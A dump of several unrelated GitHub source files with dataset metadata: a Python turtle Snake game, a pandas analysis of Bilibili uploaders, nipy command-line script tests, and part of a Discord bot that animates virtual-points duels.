head2.goto(head2.xcor(),head2.ycor())\n else:\n head2.goto(0,0)\n\ndef die():\n global score,speed,color,speed2,color2\n directions.clear()\n head.hideturtle()\n head2.hideturtle()\n food.hideturtle()\n menu.clear()\n menu.write(\"Press the key for the game you want:\\n\\t'N' for Normal 'V' for PVP\",align=\"left\",font=fontSettings)\n time.sleep(1)\n head.goto(0,0)\n head.direction=\"stop\"\n head2.direction=\"stop\"\n score=0\n score2=0\n scoreKeeper.clear()\n scoreKeeper2.clear()\n head.color(color)\n head2.color(color2)\n \n for bp in bodyPartsList:\n bp.speed(0)\n bp.hideturtle()\n bp.goto(1000,1000)\n for bp in bodyPartsList2:\n bp.speed(0)\n bp.hideturtle()\n bp.goto(1000,1000)\n bodyPartsList.clear()\n bodyPartsList2.clear()\n speed=1.3\n speed2=1.3\n head.speed(speed)\n head2.speed(speed2)\n\n#makes a pause button\ndef pause():\n global movementAmount, oldMovementAmount\n\n head.direction=\"stop\"\n \n\ndef normal():\n #game play \n global speed, score,delay, sizeOfHead,bodyPartsList,fontSettings,movementAmount,oldMovementAmount,speed,colorList,color\n menu.clear()\n winner.clear()\n head.showturtle()\n food.showturtle()\n scoreKeeper.goto(270,270)\n scoreKeeper.write(\"Score: 0\", align=\"right\",font=fontSettings)\n \n #prints out directions in console\n print(\"\"\"\n up = w\n down = s\n right = d\n left = a\n pause = p\n to play the game after you have paused it press any of the direction keys\n \"\"\")\n directions.goto(-270,210)\n #this prints out the directions on the screen\n directions.write(\"up = w, down = s, right = d, left = a, pause = p\\n -to play the game after you have paused\\n it press any of the direction keys\",align=\"left\",font=fontSettings)\n\n while True:\n wn.update()\n if head.direction!=\"stop\":\n #check for boundary collision\n if head.xcor()> (300-sizeOfHead/2) or head.xcor()<(-300+sizeOfHead/2) or head.ycor()> (300-sizeOfHead/2) or head.ycor()<(-300+sizeOfHead/2): \n die()\n\n #object.distance(object2)\n if head.distance(food)<20:\n #movementAmount+=5\n speed+=1 #this increases the speed everytime the snake eates food\n score+=1\n newColor=random.choice(colorList)\n head.color(newColor)\n for index in range(len(bodyPartsList)-1,0,-1):\n bodyPartsList[index].color(newColor)\n scoreKeeper.clear()\n scoreKeeper.write((\"Score: \"+ str(score)),align=\"right\",font=fontSettings)\n\n #print(\"Score: {}\".format(score))\n x,y=random.randint(-280,280),random.randint(-280,280)\n food.goto(x,y)\n\n newBodyPart = t.Turtle()\n newBodyPart.shape(\"square\")\n newBodyPart.color(newColor)\n newBodyPart.penup()\n newBodyPart.shapesize(1)\n newBodyPart.speed(speed)\n newBodyPart.goto(score+10,0)\n\n\n bodyPartsList.append(newBodyPart)\n\n move()\n \n \n #moving the body parts\n #iterate through the list\n for index in range(len(bodyPartsList)-1,0,-1):\n #grabe the x,y coord of the turtle\n #print(\"moving the body\")\n x=bodyPartsList[index-1].xcor()\n y=bodyPartsList[index-1].ycor()\n #reset the x,y coord of the next turtle\n bodyPartsList[index].goto(x,y)\n #check to see if we ate any of the body parts\n if head.distance(bodyPartsList[index])<1:\n die()\n break\n \n\n #move the neck or bodyPart[0] to where the head is\n \n if len(bodyPartsList)>0:\n bodyPartsList[0].color(newColor)\n #print(\"moving the neck\")\n bodyPartsList[0].goto(head.xcor(),head.ycor())\n\n \n \n\n\n time.sleep(delay)\n\ndef PVP():\n global speed, score,delay, sizeOfHead,bodyPartsList,fontSettings,movementAmount,oldMovementAmount,colorList,color,player2Score,bodyPartsList2,speed2,color2\n winner.clear()\n menu.clear()\n head.goto(-100,0)\n head2.goto(100,0)\n head.showturtle()\n head2.showturtle()\n food.showturtle()\n scoreKeeper.goto(-250,270)\n scoreKeeper2.write(\"Player2: 0\", align=\"right\",font=fontSettings)\n scoreKeeper.write(\"Player1: 0\", align=\"left\",font=fontSettings)\n #prints out directions in console\n print(\"\"\"\n Player 1: Player 2:\n up = 'w' up = 'up'\n down = 's' down = 'down'\n right = 'd' right = 'right'\n left = 'a' left = 'left'\n pause = 'p'\n to play the game after you have paused it press any of the direction keys\n \"\"\")\n #this prints out the directions on the screen\n directions.goto(-270,120)\n directions.write(\"Player 1 Directions:\\t\\t Player 2 Directions:\\nup = 'w', down = 's',\\t\\t up='up' down ='down'\\nright = 'd', left = 'a',\\t\\t right ='right' left= 'left' \\npause = 'p' -to play the game after you have paused\\n it press any of the direction keys\",align=\"left\",font=fontSettings)\n\n while True:\n wn.update()\n if head.direction!=\"stop\":\n #check for boundary collision\n if head.xcor()> (300-sizeOfHead/2) or head.xcor()<(-300+sizeOfHead/2) or head.ycor()> (300-sizeOfHead/2) or head.ycor()<(-300+sizeOfHead/2): \n winner.write(\"Player 2 wins\",align=\"center\",font=fontSettings)\n die()\n\n #object.distance(object2)\n if head.distance(food)<20:\n speed+=1 #this increases the speed everytime the snake eates food\n score+=1\n newColor=random.choice(colorList)\n head.color(newColor)\n for index in range(len(bodyPartsList)-1,0,-1):\n bodyPartsList[index].color(newColor)\n scoreKeeper.clear()\n scoreKeeper.write((\"Player1: \"+ str(score)),align=\"left\",font=fontSettings)\n\n #print(\"Score: {}\".format(score))\n x,y=random.randint(-280,280),random.randint(-280,280)\n food.goto(x,y)\n\n newBodyPart = t.Turtle()\n newBodyPart.shape(\"square\")\n newBodyPart.color(newColor)\n newBodyPart.penup()\n newBodyPart.shapesize(1)\n newBodyPart.speed(speed)\n newBodyPart.goto(score+10,0)\n\n\n bodyPartsList.append(newBodyPart)\n\n move()\n \n \n #moving the body parts\n #iterate through the list\n for index in range(len(bodyPartsList)-1,0,-1):\n #grabe the x,y coord of the turtle\n #print(\"moving the body\")\n x=bodyPartsList[index-1].xcor()\n y=bodyPartsList[index-1].ycor()\n #reset the x,y coord of the next turtle\n bodyPartsList[index].goto(x,y)\n #check to see if we ate any of the body parts\n if head.distance(bodyPartsList[index])<1:\n winner.write(\"Player 2 wins\",align=\"center\",font=fontSettings)\n die()\n break\n if head2.distance(bodyPartsList[index])<1:\n winner.write(\"Player 1 wins\",align=\"center\",font=fontSettings)\n die()\n break\n \n\n #move the neck or bodyPart[0] to where the head is\n \n if len(bodyPartsList)>0:\n bodyPartsList[0].color(newColor)\n #print(\"moving the neck\")\n bodyPartsList[0].goto(head.xcor(),head.ycor())\n\n \n \n\n\n time.sleep(delay)\n if head2.direction!=\"stop\":\n #check for boundary collision\n if head2.xcor()> (300-sizeOfHead/2) or head2.xcor()<(-300+sizeOfHead/2) or head2.ycor()> (300-sizeOfHead/2) or head2.ycor()<(-300+sizeOfHead/2): \n winner.write(\"Player 1 Wins\",align=\"center\",font=fontSettings)\n die()\n\n #object.distance(object2)\n if head2.distance(food)<20:\n speed2+=1 #this increases the speed everytime the snake eates food\n player2Score+=1\n newColor2=random.choice(colorList2)\n head2.color(newColor2)\n for index in range(len(bodyPartsList2)-1,0,-1):\n bodyPartsList2[index].color(newColor2)\n scoreKeeper2.clear()\n scoreKeeper2.write((\"Player2: \"+ str(player2Score)),align=\"right\",font=fontSettings)\n\n #print(\"Score: {}\".format(score))\n x,y=random.randint(-280,280),random.randint(-280,280)\n food.goto(x,y)\n\n newBodyPart2 = t.Turtle()\n newBodyPart2.shape(\"square\")\n newBodyPart2.color(newColor2)\n newBodyPart2.penup()\n newBodyPart2.shapesize(1)\n newBodyPart2.speed(speed2)\n newBodyPart2.goto(score+10,0)\n\n\n bodyPartsList2.append(newBodyPart2)\n\n move2()\n \n \n #moving the body parts\n #iterate through the list\n for index in range(len(bodyPartsList2)-1,0,-1):\n #grabe the x,y coord of the turtle\n #print(\"moving the body\")\n x=bodyPartsList2[index-1].xcor()\n y=bodyPartsList2[index-1].ycor()\n #reset the x,y coord of the next turtle\n bodyPartsList2[index].goto(x,y)\n #check to see if we ate any of the body parts\n if head2.distance(bodyPartsList2[index])<1:\n winner.write(\"Player 1 Wins\",align=\"center\",font=fontSettings)\n die()\n break\n if head.distance(bodyPartsList2[index])<1:\n winner.write(\"Player 2 Wins\",align=\"center\",font=fontSettings)\n die()\n break\n \n \n\n #move the neck or bodyPart[0] to where the head is\n \n if len(bodyPartsList2)>0:\n bodyPartsList2[0].color(newColor2)\n #print(\"moving the neck\")\n bodyPartsList2[0].goto(head2.xcor(),head2.ycor())\n\n \n \n\n\n time.sleep(delay)\n \n\n\nwn.onkeypress(up,\"w\")\nwn.onkeypress(down,\"s\")\nwn.onkeypress(left,\"a\")\nwn.onkeypress(right,\"d\")\nwn.onkeypress(pause,\"p\")\nwn.onkeypress(normal,\"n\")\nwn.onkeypress(PVP,\"v\")\nwn.onkeypress(up2,\"Up\")\nwn.onkeypress(down2,\"Down\")\nwn.onkeypress(left2,\"Left\")\nwn.onkeypress(right2,\"Right\")\nwn.listen() \n\n\n\n\n\n\nwn.mainloop()\n","repo_name":"KatelynMacDonald/KatelynMacDonaldAboutMe","sub_path":"Python/macdonaldSnake20.py","file_name":"macdonaldSnake20.py","file_ext":"py","file_size_in_byte":14892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"38425211154","text":"import pandas as pd\nimport numpy as np \nfrom datetime import datetime\nimport time\nimport xlsxwriter\n\ndf = pd.read_excel(r\"./b站科技区.xlsx\")\n# print(\"数据总数为\\t\", df.shape)\n\nprint(\"各字段的数量\")\n# print(df.info())\n\nprint(\"缺失值数量\")\ndf_null = df.isnull().sum()\n# print(df_null)\n\n# 删除控制\ndf = df.dropna()\n# print(df.info())\n\ndf = df.drop_duplicates()\n# print(df.info())\n\n# 提取所需关键词\ndf = df[['分区', 'author','date','coins','danmu','favorite','likes','replay','share','view']]\nprint(\"关键词的前五项\")\nprint(df.head())\n\ngroup_list = []\nname_list = [\"科学科普\",\"社科人文\",\"机械\",\"野生技术协会\",\"星海\",\"汽车\"] \n# 对数据进行分区\nsc = df.loc[df['分区']=='科学科普']\nso = df.loc[df['分区']=='社科人文']\nma = df.loc[df['分区']=='机械']\ntec = df.loc[df['分区']=='野生技术协会']\nmi = df.loc[df['分区']=='星海'] # 一般发布军事内容\ncar = df.loc[df['分区']=='汽车']\n\ngroup_list.append(sc)\ngroup_list.append(so)\ngroup_list.append(ma)\ngroup_list.append(tec)\ngroup_list.append(mi)\ngroup_list.append(car)\n\ngroup_name_list = list(zip(group_list,name_list))\n\n# 科学科普的分区信息\nprint(\"科学科普的分区信息\")\nsc.info()\nprint(\"\\n *3\")\n\ndef transform_label(x):\n if x == 111:\n label = '高价值up主'\n elif x == 101:\n label = '高价值拖更up主'\n elif x == 11:\n label = '高质量内容高深up主'\n elif x == 1:\n label = '高质量内容高深拖更up主'\n elif x == 110:\n label = '接地气活跃up主'\n elif x == 10:\n label = '活跃up主'\n elif x == 100:\n label = '接地气up主'\n elif x == 0:\n label = '还在成长的up主'\n return label\n\ndef calcKey(group,name):\n count = group.groupby('author')['date'].count().reset_index()\n count.columns = ['author','times']\n # 剔除掉发布视频少于5的up主\n com_m = count[count['times'] > 5]\n #com_m = pd.merge(count,I,on='author',how='inner')\n \n print('信息为')\n com_m.info()\n print(\"\\n *5\")\n last = group.groupby('author')['date'].max()\n late = group.groupby('author')['date'].min()\n\n F = round((last-late).dt.days/sc.groupby('author')['date'].count()).reset_index() \n F.columns =['author', 'F']\n F = pd.merge(com_m, F,on='author', how='inner')\n print('统计为')\n print(F.describe())\n F = F.loc[F['F'] > 0]\n print(\"\\n*5\")\n # 构建I值\n danmu = group.groupby('author')['danmu'].sum()\n replay = group.groupby('author')['replay'].sum()\n view = group.groupby('author')['view'].sum()\n count = group.groupby('author')['date'].count()\n I =round((danmu+replay)/view/count*100,2).reset_index() #\n I.columns=['author','I']\n F_I = pd.merge(F,I,on='author',how='inner')\n print(F_I.head())\n print(\"\\n *5 \")\n\n # 计算L值\n group['L'] =(group['likes']+group['coins']*2+group['favorite']*3)/group['view']*100\n L =(group.groupby('author')['L'].sum()/group.groupby('author')['date'].count()).reset_index()\n L.columns =['author', 'L']\n IFL = pd.merge(F_I, L, on='author',how='inner')\n IFL = IFL[['author', 'I','F','L']]\n\n print(IFL.head())\n print(\"\\n * 5\")\n IFL['I_SCORE'] = pd.cut(IFL['I'], bins=[0, 0.03, 0.06, 0.11, 1000],\n labels=[1,2,3,4], right=False).astype(float)\n IFL['F_SCORE'] = pd.cut(IFL['F'], bins=[0, 7, 15, 30, 90, 1000],\n labels=[5,4,3,2,1], right=False).astype(float)\n IFL['L_SCORE'] = pd.cut(IFL['L'], bins=[0, 5.39, 9.07, 15.58, 1000],\n labels=[1,2,3,4], right=False).astype(float)\n # 1为大于均值 0为小于均值\n IFL['I是否大于平均值'] =(IFL['I_SCORE'] > IFL['I_SCORE'].mean()) *1\n IFL['F是否大于平均值'] =(IFL['F_SCORE'] > IFL['F_SCORE'].mean()) *1\n IFL['L是否大于平均值'] =(IFL['L_SCORE'] > IFL['L_SCORE'].mean()) *1\n IFL['人群数值'] =(IFL['I是否大于平均值'] * 100) +(IFL['F是否大于平均值'] *10) +(IFL['L是否大于平均值'] *1)\n IFL['人群类型'] = IFL['人群数值'].apply(transform_label)\n\n cat = IFL['人群类型'].value_counts().reset_index()\n cat['人数占比'] = cat['人群类型'] / cat['人群类型'].sum()\n print(cat)\n print(IFL.head())\n\n # high = IFL.loc[IFL['人群类型']=='高价值up主']\n # rank = high[['author', 'L', 'I', 'F']].sort_values('L', ascending=False)\n name_xlsx = name + '.xlsx'\n IFL.to_excel(name_xlsx, encoding='utf-8')\n pass\n\nfor data in group_name_list:\n calcKey(data[0],data[1])\n\n","repo_name":"Mryanhehe/bilibili","sub_path":"bilibli/bilibili.py","file_name":"bilibili.py","file_ext":"py","file_size_in_byte":4578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"17157105440","text":"# emacs: -*- mode: python; py-indent-offset: 4; indent-tabs-mode: nil -*-\n# vi: set ft=python sts=4 ts=4 sw=4 et:\n\"\"\" Test scripts\n\nRun scripts and test output\n\"\"\"\nfrom __future__ import absolute_import\n\nimport os\nfrom os.path import join as pjoin, isfile\n\nimport numpy as np\n\nfrom nibabel.tmpdirs import InTemporaryDirectory\n\nfrom nipy import load_image, save_image\nfrom nipy.core.api import rollimg\n\nfrom nose.tools import assert_true, assert_false, assert_equal, assert_raises\n\nfrom ..testing import funcfile\nfrom numpy.testing import decorators, assert_almost_equal\n\nfrom nipy.testing.decorators import make_label_dec\n\nfrom nibabel.optpkg import optional_package\n\nmatplotlib, HAVE_MPL, _ = optional_package('matplotlib')\nneeds_mpl = decorators.skipif(not HAVE_MPL, \"Test needs matplotlib\")\nscript_test = make_label_dec('script_test')\n\nfrom .scriptrunner import ScriptRunner\n\nrunner = ScriptRunner(\n debug_print_var = 'NIPY_DEBUG_PRINT')\nrun_command = runner.run_command\n\n@needs_mpl\n@script_test\ndef test_nipy_diagnose():\n # Test nipy diagnose script\n fimg = load_image(funcfile)\n ncomps = 12\n with InTemporaryDirectory() as tmpdir:\n cmd = ['nipy_diagnose', funcfile,\n '--ncomponents={0}'.format(ncomps),\n '--out-path=' + tmpdir]\n run_command(cmd)\n for out_fname in ('components_functional.png',\n 'pcnt_var_functional.png',\n 'tsdiff_functional.png',\n 'vectors_components_functional.npz'):\n assert_true(isfile(out_fname))\n for out_img in ('max_functional.nii.gz',\n 'mean_functional.nii.gz',\n 'min_functional.nii.gz',\n 'std_functional.nii.gz'):\n img = load_image(out_img)\n assert_equal(img.shape, fimg.shape[:-1])\n del img\n pca_img = load_image('pca_functional.nii.gz')\n assert_equal(pca_img.shape, fimg.shape[:-1] + (ncomps,))\n vecs_comps = np.load('vectors_components_functional.npz')\n vec_diff = vecs_comps['slice_mean_diff2'].copy()# just in case\n assert_equal(vec_diff.shape, (fimg.shape[-1]-1, fimg.shape[2]))\n del pca_img, vecs_comps\n with InTemporaryDirectory() as tmpdir:\n # Check we can pass in slice and time flags\n s0_img = rollimg(fimg, 'k')\n save_image(s0_img, 'slice0.nii')\n cmd = ['nipy_diagnose', 'slice0.nii',\n '--ncomponents={0}'.format(ncomps),\n '--out-path=' + tmpdir,\n '--time-axis=t',\n '--slice-axis=0']\n run_command(cmd)\n pca_img = load_image('pca_slice0.nii')\n assert_equal(pca_img.shape, s0_img.shape[:-1] + (ncomps,))\n vecs_comps = np.load('vectors_components_slice0.npz')\n assert_almost_equal(vecs_comps['slice_mean_diff2'], vec_diff)\n del pca_img, vecs_comps\n\n\n@needs_mpl\n@script_test\ndef test_nipy_tsdiffana():\n # Test nipy_tsdiffana script\n out_png = 'ts_out.png'\n # Quotes in case of space in arguments\n with InTemporaryDirectory():\n for i, extras in enumerate(([],\n ['--time-axis=0'],\n ['--slice-axis=0'],\n ['--slice-axis=0', '--time-axis=1']\n )):\n out_png = 'ts_out{0}.png'.format(i)\n cmd = (['nipy_tsdiffana', funcfile] + extras +\n ['--out-file=' + out_png])\n run_command(cmd)\n assert_true(isfile(out_png))\n # Out-file and write-results incompatible\n cmd = (['nipy_tsdiffana', funcfile, '--out-file=' + out_png,\n '--write-results'])\n assert_raises(RuntimeError,\n run_command,\n cmd)\n # Can save images\n cmd_root = ['nipy_tsdiffana', funcfile]\n with InTemporaryDirectory():\n os.mkdir('myresults')\n run_command(cmd_root + ['--out-path=myresults', '--write-results'])\n assert_true(isfile(pjoin('myresults', 'tsdiff_functional.png')))\n assert_true(isfile(pjoin('myresults', 'tsdiff_functional.npz')))\n assert_true(isfile(pjoin('myresults', 'dv2_max_functional.nii.gz')))\n assert_true(isfile(pjoin('myresults', 'dv2_mean_functional.nii.gz')))\n run_command(cmd_root + ['--out-path=myresults', '--write-results',\n '--out-fname-label=vr2'])\n assert_true(isfile(pjoin('myresults', 'tsdiff_vr2.png')))\n assert_true(isfile(pjoin('myresults', 'tsdiff_vr2.npz')))\n assert_true(isfile(pjoin('myresults', 'dv2_max_vr2.nii.gz')))\n assert_true(isfile(pjoin('myresults', 'dv2_mean_vr2.nii.gz')))\n\n\n@script_test\ndef test_nipy_3_4d():\n # Test nipy_3dto4d and nipy_4dto3d\n fimg = load_image(funcfile)\n N = fimg.shape[-1]\n out_4d = 'func4d.nii'\n with InTemporaryDirectory() as tmpdir:\n cmd = ['nipy_4dto3d', funcfile, '--out-path=' + tmpdir]\n run_command(cmd)\n imgs_3d = ['functional_%04d.nii' % i for i in range(N)]\n for iname in imgs_3d:\n assert_true(isfile(iname))\n cmd = ['nipy_3dto4d'] + imgs_3d + ['--out-4d=' + out_4d]\n run_command(cmd)\n fimg_back = load_image(out_4d)\n assert_almost_equal(fimg.get_data(), fimg_back.get_data())\n del fimg_back\n\n\n@script_test\ndef test_nipy_4d_realign():\n # Test nipy_4d_realign script\n with InTemporaryDirectory():\n # Set matplotib agg backend\n with open(\"matplotlibrc\", \"wt\") as fobj:\n fobj.write(\"backend : agg\")\n cmd = ['nipy_4d_realign', '2.0', funcfile,\n '--slice_dim', '2', '--slice_dir', '-1', '--save_path', '.']\n run_command(cmd)\n","repo_name":"Raniac/NEURO-LEARN","sub_path":"env/lib/python3.6/site-packages/nipy/tests/test_scripts.py","file_name":"test_scripts.py","file_ext":"py","file_size_in_byte":5765,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"20"} +{"seq_id":"17388717308","text":"import random\r\nimport asyncio\r\nimport discord\r\nimport os\r\nimport random\r\nimport imageio\r\nimport PIL\r\nfrom PIL import Image, ImageFont, ImageDraw\r\nfrom pathlib import Path\r\nfrom math import ceil, floor, log\r\n\r\nfrom discord.ui import InputText, Modal, Select\r\n\r\nfrom .logging import *\r\n\r\n\r\n\r\ndef checkIfUserinDB(user_ID):\r\n mycursor.execute(\r\n f\"SELECT * FROM gambledb.points where authorID = {user_ID}\"\r\n )\r\n table = mycursor.fetchall()\r\n\r\n return table\r\n\r\n\r\ndef addUserToDB(user_ID, author_display_name):\r\n mycursor.execute(\r\n f\"INSERT INTO gambledb.points (authorID, authorName, points, gambleWin, gambleLose, gambleProfit, duelWin, duelLose, duelProfit, bjWin, bjLose, bjProfit) \"\r\n f\"VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\",\r\n (user_ID, author_display_name, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0))\r\n db.commit()\r\n\r\n\r\ndef pickCard():\r\n card_points = ['A', 'K', 'Q', 'J', '2', '3', '4', '5', '6', '7', '8', '9', '10']\r\n card_signs = ['Heart', 'CLUB', 'DIAMOND', 'SPADE']\r\n random_point = random.choice(card_points)\r\n random_sign = random.choice(card_signs)\r\n random_card = random_point, random_sign\r\n\r\n card_value = random_point\r\n list = [\"K\",\"Q\",\"J\"]\r\n if card_value in list:\r\n card_value = 10\r\n if card_value == \"A\":\r\n card_value = 11\r\n\r\n return random_point, card_value\r\n\r\nclass duelButton(discord.ui.View):\r\n # Define the actual button\r\n # When pressed, this increments the number displayed until it hits 5.\r\n # When it hits 5, the counter button is disabled and it turns green.\r\n # NOTE: The name of the function does not matter to the library\r\n @discord.ui.button(label=\"Accept duel\", style=discord.ButtonStyle.green, emoji=\"🗡️\")\r\n async def duel1(self, button: discord.ui.Button, interaction: discord.Interaction):\r\n embed = (interaction.message.embeds[0])\r\n embed_dict = embed.to_dict()\r\n #print(embed_dict)\r\n amount = str((embed_dict[\"fields\"][0][\"value\"]))\r\n amount = int(amount.replace(\"`\",\"\"))\r\n #print(amount*2)\r\n\r\n opponent = interaction.user\r\n author_ID = int(embed_dict[\"footer\"][\"text\"]) # CHECKS IF RIGHT ID\r\n guild = interaction.guild\r\n author_men = guild.get_member(author_ID)\r\n\r\n if interaction.user.id == author_ID: #REMOVE NOT\r\n await interaction.response.send_message(\r\n \"y u duel uself????\",ephemeral=True)\r\n else:\r\n author_table = checkIfUserinDB(author_ID)\r\n author_points = int(author_table[0][2])\r\n\r\n opponent_table = checkIfUserinDB(opponent.id)\r\n opponent_points = int(opponent_table[0][2])\r\n\r\n if author_points >= amount and opponent_points >= amount:\r\n embed = discord.Embed(\r\n title=f\"Duel for `{amount}` points has been accepted by `{interaction.user.display_name}` \"\r\n f\"\\n\\n `{author_men.display_name}` vs `{opponent.display_name}`\"\r\n f\"\\n\\n Starting within **5s** (yes i know its slow)\"\r\n )\r\n try:\r\n embed.set_author(name=f\"{interaction.user.display_name}\", icon_url=f\"{interaction.user.avatar.url}\")\r\n except:\r\n embed.set_author(name=f\"{interaction.user.display_name}\", icon_url=f\"{interaction.user.default_avatar.url}\")\r\n\r\n await interaction.response.edit_message(embed=embed,view=None)\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {author_points - amount} where authorID = {author_ID}\")\r\n mycursor.execute(\r\n f\"update gambledb.points set points = {opponent_points - amount} where authorID = {opponent.id}\")\r\n db.commit()\r\n\r\n\r\n tent_max = 25\r\n author_hp = 99\r\n user_hp = 99\r\n pid_roll = random.randint(1, 2)\r\n author_hits = []\r\n author_hp_table = []\r\n user_hits = []\r\n user_hp_table = []\r\n hits = 0\r\n author_displayname = str(author_men.display_name)[0:min(len(author_men.display_name), 15)]\r\n print(author_displayname)\r\n user_display_name = str(opponent.display_name)[0:min(len(opponent.display_name), 15)]\r\n print(user_display_name)\r\n if pid_roll == 1: # REMEMBER TO FIX FOR WINNER\r\n pid_loser = author_displayname\r\n pid_winner = opponent\r\n elif pid_roll == 2:\r\n pid_loser = user_display_name\r\n pid_winner = author_men\r\n\r\n while author_hp > 0 and user_hp > 0:\r\n authoraccroll = random.uniform(0, 1)\r\n useraccroll = random.uniform(0, 1)\r\n if authoraccroll < 0.8:\r\n author_dmg = random.randint(0, tent_max)\r\n author_hits.append(author_dmg)\r\n else:\r\n author_dmg = 0\r\n author_hits.append(author_dmg)\r\n\r\n if useraccroll < 0.8:\r\n user_dmg = random.randint(0, tent_max)\r\n user_hits.append(user_dmg)\r\n else:\r\n user_dmg = 0\r\n user_hits.append(user_dmg)\r\n hits += 1\r\n\r\n user_hp = max(0, user_hp - author_dmg)\r\n user_hp_table.append(user_hp)\r\n author_hp = max(0, author_hp - user_dmg)\r\n author_hp_table.append(author_hp)\r\n\r\n # print(hits)\r\n # print(f\"ATHOR HP {author_hp_table}\")\r\n # print(author_hits)\r\n # print(f\"user hp {user_hp_table}\")\r\n # print(user_hits)\r\n\r\n # path of the folder containing the raw images\r\n inPath = \"image_folder/\"\r\n\r\n # path of the folder that will contain the modified image\r\n outPath = \"gut/\"\r\n ### START IMAGES\r\n for y in range(4):\r\n for imagePath in os.listdir(\"start/\"):\r\n # imagePath contains name of the image\r\n inputPath = os.path.join(\"start/\", imagePath)\r\n\r\n # inputPath contains the full directory name\r\n img = Image.open(inputPath)\r\n imagePath = str(imagePath).replace(\".png\", \"\")\r\n fullOutPath = f\"{outPath}/0-{imagePath}{y + 1}.png\"\r\n # fullOutPath contains the path of the output\r\n # image that needs to be generated\r\n # img = img.rotate(180)\r\n\r\n img.save(fullOutPath, optimize=True, quality=95)\r\n\r\n img.close()\r\n\r\n for x in range(hits):\r\n for imagePath in os.listdir(inPath):\r\n # imagePath contains name of the image\r\n inputPath = os.path.join(inPath, imagePath)\r\n\r\n # inputPath contains the full directory name\r\n img = Image.open(inputPath)\r\n if x < 8:\r\n new_num = x\r\n elif x == 8:\r\n new_num = 98\r\n elif x == 9:\r\n new_num = 998\r\n elif x == 10:\r\n new_num = 9998\r\n elif x == 11:\r\n new_num = 99998\r\n elif x == 12:\r\n new_num = 999998\r\n elif x == 13:\r\n new_num = 9999998\r\n elif x == 14:\r\n new_num = 99999998\r\n elif x == 15:\r\n new_num = 99999998\r\n elif x == 16:\r\n new_num = 999999998\r\n elif x == 17:\r\n new_num = 9999999998\r\n fullOutPath = f\"{outPath}/{new_num + 1}-{imagePath}\"\r\n # fullOutPath contains the path of the output\r\n # image that needs to be generated\r\n # img = img.rotate(180)\r\n title_font = ImageFont.truetype('osrs-font.ttf', 16) # text and font size\r\n\r\n image_editable = ImageDraw.Draw(img)\r\n\r\n # AUTHOR NAME\r\n author_name = str(f\"{author_displayname}\") # text split up from arg\r\n image_editable.text((51, 41), author_name, fill=(0, 0, 0), font=title_font) # black shadow/outline\r\n image_editable.text((50, 40), author_name, fill=(0, 255, 255), font=title_font) # actual text\r\n # USER NAME\r\n user_name = str(f\"{user_display_name}\") # text split up from arg\r\n image_editable.text((174, 41), user_name, fill=(0, 0, 0), font=title_font) # black shadow/outline\r\n image_editable.text((173, 40), user_name, fill=(0, 255, 255), font=title_font) # actual text\r\n\r\n # ADD HP BARS\r\n img = img.convert('RGBA')\r\n # AUTHOR\r\n foreground = Image.open(f\"stuffs/{ceil((author_hp_table[x]) / 10) * 10}.png\")\r\n img.paste(foreground, (50, 58))\r\n\r\n # USER\r\n foreground = Image.open(f\"stuffs/{ceil((user_hp_table[x]) / 10) * 10}.png\")\r\n img.paste(foreground, (167, 58))\r\n\r\n # ADD HITSPLAT\r\n if author_hits[x] == 0:\r\n hitplat_img_auth = \"stuffs/miss2.png\"\r\n else:\r\n hitplat_img_auth = \"stuffs/hit2.png\"\r\n image_editable = ImageDraw.Draw(img)\r\n if user_hits[x] == 0:\r\n hitplat_img_user = \"stuffs/miss2.png\"\r\n else:\r\n hitplat_img_user = \"stuffs/hit2.png\"\r\n # author\r\n foreground = Image.open(hitplat_img_user).convert(\"RGBA\")\r\n img.paste(foreground, (67, 150), foreground)\r\n\r\n # user\r\n foreground = Image.open(hitplat_img_auth).convert(\"RGBA\")\r\n img.paste(foreground, (189, 150), foreground)\r\n\r\n # ADD DAMAGE TEXT\r\n title_font = ImageFont.truetype('osrs-font.ttf', 26)\r\n image_editable = ImageDraw.Draw(img)\r\n if len(str(user_hits[x])) == 1:\r\n extra_len_auth = 7\r\n else:\r\n extra_len_auth = 0\r\n\r\n if len(str(author_hits[x])) == 1:\r\n extra_len_user = 9\r\n else:\r\n extra_len_user = 0\r\n\r\n author_hit = str(user_hits[x]) # text split up from arg\r\n image_editable.text(((71 + extra_len_auth), 154), author_hit, fill=(0, 0, 0),\r\n font=title_font) # black shadow/outline\r\n image_editable.text(((70 + extra_len_auth), 153), author_hit, fill=(255, 255, 255),\r\n font=title_font) # actual text\r\n # USER NAME\r\n user_hit = str(author_hits[x]) # text split up from arg\r\n image_editable.text(((193 + extra_len_user), 154), user_hit, fill=(0, 0, 0),\r\n font=title_font) # black shadow/outline\r\n image_editable.text(((192 + extra_len_user), 153), user_hit, fill=(255, 255, 255),\r\n font=title_font) # actual text\r\n\r\n img.save(fullOutPath, optimize=True, quality=95)\r\n\r\n img.close()\r\n\r\n # print(fullOutPath)\r\n\r\n # DEATJ STUFF\r\n user_hp_end = user_hp_table[hits - 1]\r\n author_hp_end = author_hp_table[hits - 1]\r\n\r\n if user_hp_end == 0 and author_hp_end == 0:\r\n dir_for_folder = \"death/both\"\r\n sit_text = f\"SIT {pid_loser}\"\r\n winner_id = pid_winner\r\n elif user_hp_end == 0:\r\n dir_for_folder = \"death/white\"\r\n sit_text = f\"SIT {user_display_name}\"\r\n winner_id = author_men\r\n elif author_hp_end == 0:\r\n dir_for_folder = \"death/black\"\r\n sit_text = f\"SIT {author_displayname}\"\r\n winner_id = opponent\r\n\r\n for z in range(2):\r\n # get death folder\r\n for imagePath in os.listdir(dir_for_folder):\r\n # imagePath contains name of the image\r\n inputPath = os.path.join(dir_for_folder, imagePath)\r\n\r\n # inputPath contains the full directory name\r\n img = Image.open(inputPath)\r\n\r\n title_font = ImageFont.truetype('osrs-font.ttf', 16) # text and font size\r\n\r\n image_editable = ImageDraw.Draw(img)\r\n\r\n # AUTHOR NAME\r\n author_name = str(f\"{author_displayname}\") # text split up from arg\r\n image_editable.text((36, 245), author_name, fill=(0, 0, 0), font=title_font) # black shadow/outline\r\n image_editable.text((35, 244), author_name, fill=(0, 255, 255), font=title_font) # actual text\r\n 